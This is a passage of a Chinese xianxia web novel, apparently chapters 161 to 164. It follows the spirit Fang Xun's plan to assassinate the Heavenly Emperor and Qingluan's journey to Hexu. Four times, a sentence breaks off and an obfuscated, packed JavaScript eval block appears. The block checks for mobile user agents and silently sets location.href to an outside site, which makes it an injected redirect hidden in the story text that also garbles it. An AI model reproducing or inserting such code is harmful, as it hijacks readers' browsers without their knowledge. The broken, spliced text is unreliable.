方荀的这一段记忆是在产生共感时猝不及防进入素娆脑海的,她自知窥探对方的记忆不好,连忙屏蔽共感,退出去后连声向方荀道歉。 不过道歉归道歉,她犹豫了半天还是忍不住问方荀:“你怎么确定那樵夫当年把你种在院子里是为了救你而不是等着把你养大之后炖汤?” “毕竟当年你还只是一个小蘑菇,而且是一个十分肥大看起来便与别的蘑菇不一样,应当十分美味的蘑菇,他又不知道你是上古蕈灵。” 方荀又一次气急败坏:“你不许胡说,他就是为了救我,你不许坏我道心!” 之前方荀破防时素娆只觉得这个大妖脾气暴躁,可是今日见他如此气急败坏,她竟然觉得可爱。 她被方荀的反应逗得扑哧一笑,然而下一秒她突然想到,既然她可以与方荀的记忆产生共感,那么方荀也能窥见她的记忆。 她突然就不笑了。 她的人生不短不长,其中快乐的日子却没有多少,大半的光阴都被帝凌囚禁在府邸,那些让她无奈到麻木的时光,不知为何她并不想让他看到。 素娆戛然而止的笑声也令方荀陷入了沉默,这段时日相处下来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307520|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已对她十分了解。 他猜得到她在想些什么。 安静了一会儿后,他对她道:“刚才我也看到了你的一段记忆,原来你在凡间做凡人的时候,曾在其野学宫修习过。” 素娆一怔,随后抬起头来。 “真羡慕你呀,我方才只是惊鸿一瞥,看到了你在学宫的生活。” “我从小就独自一人在林间长大,小时候没什么朋友,更没有师长,日子过得很无聊。” “你跟我不同,你的日子比我精彩多了。给我讲讲你在其野学宫的生活呗,反正我们待在芙蓉浦也没什么事情。” …… 素娆定定地注视着方荀,然后抿起嘴笑了。 自从被帝凌劫至九重天宫后,她便刻意地不去回忆曾经在学宫生活的那段时光,那一段可忆不可追的时光只会让她被囚禁在九重天的日子更加痛苦。 不过此刻在方荀面前,她感到久违的放松,也不再排斥回忆昔年在其野学宫的生活。 也许是因为她已离开了九重天宫一段时间,虽然不能走出芙蓉浦,但此间的自由是与在帝凌府邸不能比的。 这段时间的快乐冲淡了在九重天时的痛苦,此刻她的分享欲胜过了对往昔记忆的抵触。 她蜷缩着坐在椅子上,将自己在其野学宫的生活同方荀娓娓道来。 方荀听得很认真,还时不时附和素娆两句。 同素娆交谈时他的语气轻快,但实际上越听素娆回忆学宫生活他的心情便越沉重。 方才与素娆记忆共感时,他看见了她被帝凌掳去九重天的那段记忆。 她不是没有反抗过。 但她的反抗在身为天神的帝凌面前是那样无力。 帝凌是在素娆单独完成外出任务时找上门来的。 他在素娆面前现身后所做的第一件事便是道明自己的身份,他以为自己只需要做这一件事就好,他以为只要告诉对方有成为神君夫人的可能,那卑微弱小的凡人就会立马抛下一切随他离开。 却是没有想到,这么多年来他因为天君之子这个身份而拥有的傲气与尊严,竟在素娆面前被贬低得一文不值。 她铁青着脸请他把路让开,她还要赶在天黑前回到学宫。 于是帝凌恼羞成怒了,他当即拦住素娆,要强行将她带回九重天宫。 素娆未曾想到如今九重天上的神君品格已然低劣到了如此地步,她原以为帝凌对她只是一时兴起,不至于在凡间利用神君的身份作威作福。 她的反抗让帝凌更为恼怒,他近乎疯狂地折磨她,割开她的皮肤,折断她的骨头,仿佛如此就能打碎她的一身傲骨。 后来他向全天下昭示他对她的爱,并且执意许她神君夫人之位,他的深情一度在四海八荒传为美谈。 但这个在众人眼中得到帝凌神百般呵护的弱小凡人,她第一次来到九重天宫时,伤痕累累,体无完肤。 此刻素娆轻快的语声在方荀耳畔响起,他的脑海中却始终浮现出她被帝凌囚禁在九重天宫浑身是伤的模样。 161. 万国传 再望向素娆时,他已经分辨不清自己对她是怎样的情感。 想要将她留在身边,但又希望她能离开,走得越远越好。 她是凡人,她应当回到凡人的世界,无论是身为神君的帝凌亦或是作为大妖的他,都没有资格将她锁在自己身边,她本应当自由。 于是在他结束了此次化形,重新变为人形后,他对素娆说的第一句话便是你走吧。 素娆不可置信地站在原地,一时间没有反应过来他在说什么。 方荀注视着她,一字一句认真地道:“我会将你送出芙蓉浦,然后引开帝凌的人,到时你便离开都广之野,走得越远越好。” “我这里有一妖族圣物,名曰太虚锢灵鉴,你将它带在身上,便可以屏蔽气息,也能穿过天族设在都广之野的结界。” “当然了,都广之野中关押着的都是罪神后裔,他们也非善类。即便顺利离开此地,接下来等待你的是广阔但也危险的四海八荒。” “我还有自己的事情要做,此事若成,如有机会我一定会来寻你,但我若是回不来,此后横亘在你逃亡路上的一切风险都需要你独自面对。” “你曾经在其野学宫修习过,我相信你有自保的能力,但四海八荒实在太大,你也要做好终生无法再回学宫的打算。” “选择权在你自己手里,你是选择回到帝凌身边,还是选择独自逃离此地?” 方荀一口气说了这样多,素娆也逐渐从恍惚中回过神来。 她没有想到自己被囚禁于九重天宫时心心念念逃离帝凌的机会就这样摆在了她的眼前。 自由瞬间变得触手可及,她却在此时有了一瞬的犹豫。 方荀知道,她恐怕是想到了自己尚在九重天宫的孩子。 他没有逼她立即做出选择:“我们还有时间,我还要做一些准备才能离开芙蓉浦,你若是舍不下孩子……” 素娆却坚定地摇了摇头:“我选择离开。” 方荀注视着她,然后轻轻点头:“既如此,我们便在一个月后离开,太虚锢灵鉴需要在芙蓉浦吸收足够的灵气,如此才能发挥出最大的功效。” 此后一个月,素娆和方荀一起居住在芙蓉浦中,心境与最开始相比已是天差地别。 曾经在她眼中与九重天宫的囚笼一般无二的小屋,在此时俨然成为家一般的存在。 她开始认真生活,认真打点装饰这个暂时的家。 方荀将她的变化看在眼里,有一日忍不住问她,这间小院不过是他随手幻化出来的,且他们不久便会离开这里,也许永远都不会再回来,何必如此用心地装扮它? 素娆一边在瓶中插花一边回答他:“因为我在生活啊,以前我的生活就是这样的。” 她抬起头望着他,对他绽开笑颜:“这么多年了,只有这一段时间我才真正感觉自己还活着。” 方荀听完不再多说什么,不过此后每次素娆装点房间时他都会陪她一起。有时候方荀还会主动陪她去外边看看风景,顺便帮她把长在荆棘丛或是极高树上的花朵摘下来。 如此又过了一段时间,素娆第二次主动向方荀提出请求:“你能不能帮我变一个炼器炉出来?” 上一次她主动开口请方荀帮忙,还是为了救那只小魇猫,这一次却是要他变一个炼器炉出来。 他正要问她想做什么,突然忆起她同他讲过,过去在其野学宫修习时她主修的是炼器术。 见方荀面露疑惑之色,素娆主动解释:“我发现芙蓉浦有很多绝佳的炼器材料,这些日子我收集了不少,趁现在还有时间,我想炼制一些防御类器具。” 方荀颔首,当即用妖力凝聚出一个炼器炉:“我不通炼器之术,只能以妖力凝聚出这样一个初阶炼器炉,你将就用吧。” 虽然这只是一个最简单的初阶炼器炉,但素娆望向它的目光中还是充满惊喜。自从离开学宫之后,她便再也没有机会炼器了。 接过炼器炉时她的双手有一些颤抖,她抬首感激地望一眼方荀,然后如获至宝般将炼器炉抱进怀里。 方荀理解她的激动,知道她为何这般开心,并且也发自内心为她感到高兴。 在与她记忆共感时他便已经知晓,素娆对炼器之术究竟有多么痴迷。 分别的日子将近,她一介凡人之躯,若能利用这段时间为自己炼制出一些护身的器具自然是好。 却没有想到,她所炼成的第一个器具并不是为她自己炼的。 三日后,她将几个金属圆球赠予方荀:“此物具有一定的破坏力,只要将它用力向外掷出,在触碰到敌人时它便会自动爆炸,爆炸产生的碎片不会四散开来,而会在此物最中心所设下的机关牵引下继续钻入敌人皮肉。” 她对方荀说:“你说你还有要紧的事情要做,虽不知你到底要去做什么,但我希望你平安。” 见方荀接过圆球,她又笑了笑道:“可不要小瞧它的威力哦,我好歹也是其野学宫的弟子,它可是集我毕生所学炼制而成。” 方荀也笑了笑,他将它们收入囊中,然后对素娆道:“我一定要做的那件事情,是去九重天宫刺杀天君。” 素娆的笑容凝固在了脸上。 “大荒有魔气作乱,已有不少人因此殒命。我曾去最早出现魔气的青丘一探,发觉那些突然出现的魔气并不简单,极有可能是传说中的始祖之息。”方荀继续道:“还好那缕魔气尚处于萌芽阶段,以我的大妖之力尚可压制。但我的妖力只可压制它一时,若那缕魔气当真是始祖之息,放任它继续苏醒壮大,后果会不堪设想。一旦始祖之息彻底觉醒,到时便无人控制得了它,四海八荒都会因此遭受劫难。” 素娆追问:“这件事与刺杀天君有何关联?若真如你所言,四海八荒将有一场劫难,那到时能够庇护众生的恐怕只有天君了。” 方荀冷哼一声:“指望他护佑天下苍生?恐怕他才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311435|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造成这场劫难的罪魁祸首。” 素娆倒吸一口凉气:“此话怎讲?” “魔气早已断绝了数十万年,我很疑惑它怎会突然现世,且刚一现世便如此强大,像是有人专门滋养了它许多年,凭我的大妖之力竟然也只能暂时压制。” 方荀接下来所说的话更是令素娆心生寒意,其实不光是蜃影中的素娆,在场旁观这一段回忆的青鸾几人也同样觉得胆寒。 “自那之后我便开始调查四海八荒魔气现世的情况,后来在一位山神处得知,他赴天君昆仑之宴时也曾见过魔气现世。” “昆仑是何等圣地,且那场宴席乃天君所设,席间怎会出现魔气?” “于是我又赴昆仑查探,虽然九重天的人未曾走漏一点风声,那些山神也大多对此三缄其口,但我还是找到了问题的关键所在。” 他闭上眼睛,掌心漫出半透明的丝线。 素娆知道,这些便是他化为原形时几乎弥漫了整座芙蓉浦的菌丝。 “我知道从天族人口中是问不出什么来的,于是凭借上古蕈灵的星辉脉络悄悄在昆仑探查,最后发现天君老儿竟在昆仑地底设下了一个巨型祭坛。” 素娆沉声问:“那个祭坛是用来滋养魔气的?” 方荀注视着她,沉重地点了点头:“天君老儿之所以将它设在昆仑地底,恐怕还是因为昆仑灵气充沛,足以压制魔气,否则那些魔气早就该在数年前现世了。” 素娆突然想到一事,思索着道:“天君每百年便会在昆仑设宴,召集天下神君以及四海八荒山神赴宴,难道为的便是祭祀,用他们的神力或是执念滋养魔气?” 方荀倒是没想到素娆反应得这么快,他赞许地道:“你猜测的恐怕正是事实,此事天族之人未必全都知情,即便晓得内情的人应当也不知全貌。” “否则我真是难以想象,什么样的人会在明知正在亲手酝酿一场浩劫的时候还要继续坚持。” “那西王母呢?”素娆又问:“你觉得她是否知情?” 听见素娆这样问,蜃影之外的青鸾心中一紧。 是呀,此事西王母是否知情? 祭坛就设在昆仑地底,即便是天君恐怕也无法越过西王母在昆仑做这种事,西王母难道会对此懵然不知? 越是思索,青鸾的心便越往下沉。 方荀的说法与青鸾的猜想一致:“西王母作为昆仑之主,好歹也是一代战神,她怎会对此毫不知情?” “九重天上的神君也好,昆仑之境的王母也罢,全都是一丘之貉,道貌岸然的鼠辈而已。” 素娆越听越是心惊:“所以你觉得,天君是魔气现世的始作俑者,只要他死了,便可平此祸事?” 方荀叹了口气:“那也要看继位者是谁,我冷眼瞧这九重天宫的神君,竟无一人称得上有才有德。若是帝凌即位,四海八荒恐怕仍然难逃一劫,若是帝台神即位,天下也许会太平一段时间。” 162. 万国传 “不过天君迟迟未曾立下储君,想来他也对自己那几个儿子不甚满意,他在等待着孙辈中是否会有一二佼佼者也未可知。”方荀语声坚定:“无论如何,只要他死了,凭帝凌那几个无能之辈,想必也掀不起太大的风浪,至少利用祭坛滋养魔气之事可以暂时中止。” “所以你当初以我威胁帝凌,想要让他带你面见天君,为的便是刺杀他……”素娆声音颤抖:“你说待你把要做的事情做完,若有机会回来一定会来寻我,可刺杀天君谈何容易?” “你是不是从一开始就没有想过活着回来。” 方荀沉默了。 过了许久,他才在素娆的注视下艰难开口:“九重天宫非神君不得入,我无法直接闯进去,后来听闻都广之野有建木,建木可直达九重天,于是来到此地想要尝试利用建木去往九重天宫,却没想到还是失败。” “那时我正好看见你们的车架经过,又因早前听闻帝凌神是如何宠爱他的夫人,原以为他会为了你答应带我面见天君。” 说到这里他停顿了一下,然后轻轻叹了口气。 素娆接过他的话:“但是你没有想到,帝凌竟全然不顾我的死活,不仅没有同意你的要求,而且把芙蓉浦团团围了起来,想要取你性命。” 方荀颔首,随后他道:“不过我还有办法,上古蕈灵所拥有的星辉脉络可以连接上苍感知万物情绪,还能编织记忆幻境。我只要利用这些星辉脉络为帝凌以及这些天兵编织一个错乱的记忆,他们便会主动带我去见天君。” 说到这里他的语气突然变得柔和:“在我尚不能化形时,星辉脉络会随菌丝一起蔓延整座山头,只要触碰到这些菌丝的人都会不同程度受到影响。” “轻则记忆混乱,重则神志不清。” “因此我们上古蕈灵一族其实并不受人待见,甚至有许多人在识出我们的那一刻便立马将我们铲除,为了不被赶尽杀绝,也为了不影响旁人,我们往往生长于荒山野岭。” 听到这里素娆想起他曾告诉过自己,他自小便没有什么朋友,也没有师长陪伴左右,他是真的很羡慕她曾经在学宫的生活。 “还记得吗?你曾经说过,魇猫的能力是它天生便拥有的,它自己并不能决定,我们不能因为它天生便拥有的能力而见死不救。” 他语声温柔地告诉她:“那时我便知道你是一个很善良的人,这天下善良的人很多,但如你一般经历过许多不好的事仍能如此善良的没几个。” “我希望你能活下去,自由自在地活下去。” 泪水迷蒙了素娆的双眼,方荀这些话怎么听都像是遗言。 于是她问他:“你方才说可以利用星辉脉络控制帝凌以及所有天兵,那么代价是什么?” 凡事皆有代价,这也是他告诉她的。 方荀心知瞒不过她,最后还是无奈地道:“想要控制神君以及那样多的天兵,唯有以燃烧寿元和大妖之力为代价,除此别无他法。” 素娆点了点头,她没有劝他放弃刺杀天君,她只是有些恍惚地后退几步,似乎是在思索刚才方荀说的那些话,又像是在复盘他的一系列计划。 方荀轻声唤她的名字:“夜深了,回去休息吧,这几日你都要好好休息,养足精神才能……” 素娆忽然上前,用力抱住了他。 没有说完的话哽在了方荀喉间,他僵硬地站在原地。 漫天星辉照映在二人身上,从这一刻起蜃影变得朦胧。 画面断断续续,不再如方才那般连贯,大妖的执念也即将随之消散。 但青鸾知晓这段往事的结局。 最后方荀自剖妖丹留给素娆,希望她能彻底摆脱帝凌掌控,虽然蜃影并没有显示他是否成功控制帝凌,最后他有没有踏足九重天宫,但青鸾知道,他一定坚定地做了他想做的那件事。 他绝没有放弃刺杀天君。 否则九重天宫就不会至今还在传言那掳走素娆夫人的大妖独自逃亡大荒,到现在也没有寻见他的下落。 天君最好颜面,若是让四海八荒都知道他的亲生儿子被一妖族控制,那大妖还直接杀上九重天宫杀到了他的面前,他的老脸往哪里搁? 怪不得自此以后帝凌便被天君厌弃,彻底与储君之位无缘。 他对外宣称是素娆与妖族私通让他在四海八荒丢尽颜面,也是素娆玷污了九重天宫的名声,还连累他一同丢脸。 若不如此说,如何掩盖他身为神君却被妖族轻松控制的真相。 青鸾在心里冷笑一声。 当真是滑天下之大稽。 可惜素娆最后没有走出都广之野,没能走向她心心念念的自由,她被抓回九重天宫,自此囚禁在了龙渊之狱,也彻底与帝凌反目,甚至在最后与帝骁决裂。 其实这何尝不是一种勇气。 青鸾心中敬佩,同时也万分唏嘘,她在蜃影即将完全消散之时出手,将它凝结为珠,交到了焕鸢夫人的族人手中:“待这个孩子长大之后,劳烦你们将这颗蜃珠交给他。” “告诉孩子,他的父母虽然早已不在世间,但他是因为爱才诞生于这个世界。” 说完她又伸指点在他的眉间,在他眉心留下一缕心火之力:“这缕心火之力可为他抵挡三次致命攻击,告诉他在遇见能够危急性命的敌人时再用,等下我将使用心火之力的口诀拓印给你们,也劳烦你们在他长大之后交给他。” 那两位姑娘认真地倾听着青鸾的嘱咐,连连点头。 与此同时成渊也在旁边沉默地观察着青鸾的一举一动,在见到她将蜃影凝为蜃珠时,他望向她的眸光微微一动。 将口诀拓印完毕后,青鸾把它交给焕鸢夫人的族人时,忽然开口问她们:“你们乃烛龙旁支,但族中又有可以感应心火的秘法,我很好奇你们的母族与圣灵族有何渊源?” 那两人对视了一眼,同时做下决定后,其中一人开口说道:“原本这是我族秘辛不得外传,但今日在场之人皆是我等前辈,我们又在圣灵族地承蒙前辈恩惠,也不好再做隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315177|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “万国时期曾有一部分圣灵族人随圣女一同征战,后来这些人再也没有回过故土,我们的先祖便是其中一人,能够感应心火的秘法便是从她开始一代一代传了下来。” “不过她是因何加入了烛龙旁支,其间到底发生了什么,我们便不得而知了。” “原来如此……”圣灵族长走向她们,仔细打量二人眉眼:“怪不得我在初见你们二人时便觉得熟悉亲切,原来你们身上流淌着我圣灵族血脉。” 说着她叹了口气:“万国之战距离我们太过遥远,其间的许多人和事都已不可考。当年圣女携亲卫征战,从此一去不回下落未知,今日得知你们乃其中一人的后裔,老身深感安慰啊……至少让我们知道他们当初并未全部战死,还有后裔留存于世。” 她摇了摇头,又是一声叹息:“可惜前任大巫已经陨落,若他还在一定深有同感,他可是如今唯一一个诞生于传说中的万国时期的人。” 青鸾蹙了蹙眉,存活了亿万年的人,那到底是一个怎样的存在? 老族长将目光落到她的身上:“您是圣女转世,请容许老身再称呼您一声圣女。如今您已取走心火之源,圣灵族人也兑现了亿万年前的承诺,今日之后我们便要搬离芙蓉浦,重回圣灵祖地了。” 青鸾颔首:“多谢你们。” 族长又道:“被关押在都广之野的罪神后裔其实也算得上是天族后人,他们与如今的天族一样,在遥远的万国时期同属龙族,其实如今所谓的天族在亿万年前也不过是龙族的一个分支而已。” “按理来说他们无法镇压与自己同宗同源的龙族后裔,之所以将都广之野定为罪神后裔流放之地,便是因为此地的心火之源能够代天族镇压龙族后人。” “如今您将心火之源取走,这件事如被关押在此多年的龙族后人察觉,他们一定会逃出都广之野,将来说不定还会打上九重天宫,而您也会成为天族通缉的对象,您今后万事小心呐,尤其要防范天族之人。” 直到听说心火之源的力量能够代天族镇压龙族后人,青鸾这才明白她在都广之野向那些罪神后裔询问芙蓉浦的位置时,他们为何会是那样的反应。 明白过来之后她只觉得好笑。 原来如此,原来天族连镇压不服自己统治的同族之人都做不到,还要借助她的力量。 煌煌天宫,堂堂神君,如此可笑。 “反正我早就已经被天族通缉了,不差这一桩事。”青鸾笑了笑,转身朝成渊道:“神君大人,太虚锢灵鉴已得,我们这就启程前往合虚吧。” 成渊挑眉颔首,转身随青鸾一同离开。 焕鸢夫人的族人要带着素娆的孩子回到母族,金潇等人虽然舍不得青鸾,却也不能随她一起去往合虚,只得留在圣灵族,日后随族长一同回归祖地。 一行人就这样分道扬镳。 行至芙蓉浦出口时,大巫举起巫杖为他们开启结界之门,他仿佛下定了什么决心,在结界即将开启时突然唤住青鸾。 163. 万国传 青鸾顿足,回首望他。 她知道他有话同她讲,从一开始她见到他目光中那掩不住的哀戚时她便知道了。 “你虽为圣女转世,已没有上一世的记忆,但我还是想告诉你,我的师尊在此地等了你亿万年。” “他等了这么久,最后却还是没有等到你。” 青鸾沉默了片刻,她没有立即开口,而是注视了他好一会儿,才突然问:“除却苦苦等待我亿万年这件事,在你眼中你的师尊是怎样一个人?” 对方并不明白青鸾为何突然这样问,但他还是认真回忆道:“我的师尊强大,他在我眼中是这世上最强大之人,漫长光阴并没有让他变得麻木,他虽寡言但是睿智,是圣灵族最博学的人。最重要的是他恪尽大巫职责,亿万年来兢兢业业守护着圣灵族人,因此在我眼里他堪比神明。” 青鸾同样认真地倾听着,然后她说:“这就是了,你说你的师尊等待了亿万年,却在见到我之前陨落,这也许是他的遗憾,但并不构成他本身。” “你方才所说的那些,那才是他本身。” “继续朝前看吧,人也总归要向前走。” 她突然忆起一事,召唤出心火,将还在心火滋养下陷入沉睡的辛夷魂魄取出。 她将她交给面前年轻的大巫:“将辛夷带回去吧,好好滋养她的魂魄,助她早日恢复肉身。护好你的族人,完成你的使命,如你师尊一般恪尽大巫职责,我以为如此才算是不辜负他对你的期待。” 最后她对他道:“我也有未竟之事,也有要走的路,我们就此别过。” 大巫接过辛夷魂魄,张了张嘴,却是什么也没说。 他注视着青鸾离去的背影,只觉得这女子来也匆匆去也匆匆,当真好生潇洒。 与青鸾一同离开的成渊同样觉得她潇洒。 潇洒到近乎无情。 在前往合虚的路上他一直打量她,终于还是忍不住问她:“那圣灵族前任大巫为了等你转世,可是苦苦等了亿万年。就连我这个不相干的人听了都忍不住动容,你居然没有一点情绪吗?” 青鸾望他一眼:“动容又如何,有情绪又如何。无论他等了多久,如今也已经陨落,而我也不再是圣灵族圣女。眼下我有必须要去做的事,如何能够沉沦于连记忆都不再有的前世。” 对于她来说今生的记忆已经够混乱了,那些没有做完的事光是想一想就让人头大,若是再去纠结亿万年前的前尘往事,那她确实是不用活了。 成渊听完她的回复有些感慨:“你倒是洒脱,但是在这滚滚红尘中沉沦的众生,无论是妖是神,是人是魔,都会有放不下的执念,想必你一路行来也有此体悟。你难道就没有放不下的人或者事吗?一点都没有?” 放不下的人或者事…… 成渊的这个问题令青鸾陷入沉思。 其实她倒也并非当真如表现出来的那般洒脱,许多时候不过是在逼着自己做出决断,若非如此,这天上地下的百般算计足以将她生吞活剥了。 不沉湎于过去,不断地向前走,是因为对于她来说唯有向前走才能抓住一抹光。 她的身后是一片深渊,她要将那个软弱的青鸾葬在过往。 她在心里默默叹了口气。 便在这时她突然忆起一些记忆碎片,那是当初在小华山外被成渊追杀时,濒死之际脑海中浮现出的记忆碎片。 这段记忆一定是被帝骁抹除了,彼时她在青要山中醒来,并不记得到底发生了什么,只知道成渊想要剜走她的心脏,而她在受到攻击时陷入了昏迷。 如今这些记忆倒是想起来了七七八八。 她想起来自己在面临死亡时,意识凝聚为了半透明的丝线,那些丝线在她眼前与心脏之间游走,为她捕捉走马灯般快速闪过的记忆碎片。 她想起记忆碎片中猩红色的杀戮场,想起伏在她的背上慢慢失去温度的那个人,想起他最后一滴眼泪落在她的脖颈上时带来的灼热滚烫。 她还想起自己曾行走于妖精们的集市,虽然那也只是一个精心编织的幻境,但她始终记得幻境中那个要为她买尺玉和黄狸的人。 她记得幻境主动崩塌时她的心有多痛,记得那个随幻境一起消失的人温柔唤她阿九。 青鸾并不知道这些记忆碎片到底来自于她的哪一世,亦或者这根本就是她在踏入小蓝口中的轮回之境前发生的事情。 无论真相到底如何,她都可以确定一点。 临死前脑海中浮现的这些画面,记忆中那个唤她阿九的人,想必就是她放不下的执念。 但这些记忆对现在的她来说实在太遥远了,多思无益,只会让自己更加头痛。 她忽然转头盯着成渊,幽幽地道:“说起这个我倒是想起一件事来,当初你从小华山一路跟踪我,还要挖走我的心脏为帝媱续命……是你干的吧?” 她冷笑了一声:“若说有什么难以忘怀的事情,这倒算是一件。” 成渊也干笑了几声,赶紧转移话题:“那个时候我就看出来你非池中之物,很是果断决绝。不过话又说回来,今日我倒觉得其实你与我印象中不太一样。” 青鸾带着疑惑的语气哦了一声。 她倒好奇了,成渊与她毫无交集,他们两人统共就见过三次面,其中一次还打得天昏地暗,他们之间有什么印象可言? 成渊显然是那一次被打出了心理阴影,光是回忆起那个死气缠身无论如何也没办法挣脱的场面便禁不住肝颤:“之前我一直觉得你冷漠决绝甚至有一些残忍来着,可今日见到你为那个孩子所做的事情,觉得你也有温柔的一面。” 青鸾听得眉头直皱。 她又一次盯着成渊看,目光里全是疑惑。 当初是他要生剜她的心脏,她迫不得已做出反击,至多不过是反击得有点激烈而已,他居然还有脸说她残忍? 简直倒反天罡。 又听成渊继续道:“其实你很细心,也很能体察别人的情绪,那你怎么就感受不到帝骁对你的感情呢?” 青鸾抿紧了嘴。 她没想到成渊话这么多,关于帝骁的话题她一点也不想回应,甚至连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329185|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想都不愿意去想。 见青鸾不说话,成渊补充道:“他对你挺好的,真的,我觉得他很把你放在心上,我没见到他对谁这样过。” 青鸾终于忍无可忍,第无数次转头瞪成渊:“谁对我好,谁对我不好,我自己心里清楚。” “倒是你为什么一直替他说话?”青鸾难得语气激动:“如果我没记错,他一直在和你争夺帝媱吧?你们见了面跟仇人一样眼红,现在竟然能说出他的好处来。” 她不理解,她真的不理解。 成渊被青鸾问沉默了。 两个人就这样安静了好一阵,然后青鸾听见成渊深深地叹了口气:“这么多年来,我与帝骁既是对手,也是一直坚持复活阿媱的同盟。更何况他还是阿媱的兄长,其实我对他并没有多大的恨意。” 说到这里他思索了一下,然后问青鸾:“其实我也好奇,既然你知道我曾经对你做过什么,你应当很恨我才对,为什么还愿意帮我复活阿媱?” “我不是在帮你,我是在帮帝宣。”青鸾向他坦白:“诚如你方才所言,帝骁是帝媱的兄长,所以你爱屋及乌,对他并没有多大的恨意。” “我也一样,帝媱是帝宣的妹妹,她是他珍视之人,所以我无论如何都会帮她。” 成渊哦了一声,点了点头。 然后他才反应过来:“所以其实就算我不答应为你护法,不随你走一趟芙蓉浦,你也会去救阿媱的?” 青鸾不做回答,她只是挑了挑眉,眼中闪过一丝狡黠。 成渊顿觉胸口一闷,差点一头从空中栽下去。 原本还以为这笔买卖做得划算,没成想他是被这丫头摆了一道,而且居然到现在才反应过来。 他有些尴尬地抬手捂住脸,把头别过去,不肯再同青鸾讲话。 青鸾得以享受片刻的宁静。 飞过东海时她瞧见已经变得破败的海上仙宫,不免有些唏嘘,没想到会在这样的情形下故地重游。 她竟然有与成渊为了同一个目标并肩前行的一日,这是那时候的她怎么也想不到的。 飞过东海,继续往东,穿过一片淡金色的灵雾时,青鸾知晓他们终于快要抵达合虚。 成渊划破掌心,将血雾凝为屏障笼罩在青鸾身上:“这些淡金色的灵雾便是此地唯有后神才能进入的关键,这里的每一寸空气都浸着神血,它们环绕在合虚周围,保护着先神后人。” 原来如此,青鸾点了点头。 越是靠近合虚,云浪在千仞绝壁间的轰鸣声便越响,悬浮于海面之上的仙山自东向西依次裂作莲瓣形状,灵气自山体裂缝中升腾而起,竟然浓郁到了肉眼可见的程度。 海浪撞碎在裂成莲瓣的悬浮山底,苍青色的灵气在日光下闪烁,好似一片片游动的冰凌。 长风浩荡不息,裹挟着撞碎的海浪和浮动的冰凌,将它们卷入云霄,交织着宛若巨鲲在云层深处翻涌。 眼前的景象不可不谓震撼,青鸾深深地吸了一口气。 原来这便是合虚。 是先神所居之地。 164. 万国传 悬浮在海面之上的断崖边生长着一棵耸入云端的巨木,正是当年种在空桑山上的归魂树。 成渊带着青鸾来到归魂树前,闭目念诵口诀,同时抬手抚上树干。 归魂树轻轻一颤,然后开始自顶端崩解,树冠粉碎为了细雪被风卷向云端,坠落的叶子隐隐泛着光晕,最后消失在了海浪之间。 随着归魂树的崩解,被成渊封印在山岩间的上古神棺缓缓出现。 棺中女子脸色苍白,虽然早已没了生息,但仙身经久而未腐烂。 她看起来是那样的宁静,好似只是睡着了一般。 青鸾隔着半透明的棺身凝视着那女子,眼前景象与记忆中诛仙台上的一幕幕相重叠,耳畔响起帝骁在那时对她说的话。 他说那样好的心脏,她用不着。 青鸾有些恍惚,如今她的心脏已不再残缺,却还是在此时泛起一些隐秘的疼痛。 成渊隔着水晶棺抚摸帝媱的脸颊,过了好一会儿才转头望向青鸾:“阿媱就在这里,我利用上古神棺以及残留于合虚的先神之力维持她的仙身。我们何时开始?需不需要做什么准备?” 青鸾回过神来,她长长地吐了口气,抬步靠近水晶棺。 这是她第一次在现实中细细打量她,而不是在过往的时间线中,也不是在别人的记忆里。 这个为了人族以身涉险窃取天君秘籍的女子,其实很让她钦佩。 青鸾抬首问成渊:“我知道你们是因为窃取天君秘籍才被九重天宫追杀,最后太华一战帝媱身死,你也受了重伤,但秘籍最终还是被你带走了对吗?” 成渊先是点了点头,随后又苦笑着摇首:“这是阿媱付出性命也要做的事情,无论如何我也要帮她完成。太华之战后我逃回合虚,避了一段时间的风头,之后又回到其野学宫,将那本末法时代也可修炼的秘籍交给了学宫院长。” “他们虽然得到了秘籍,却始终无法修炼。” 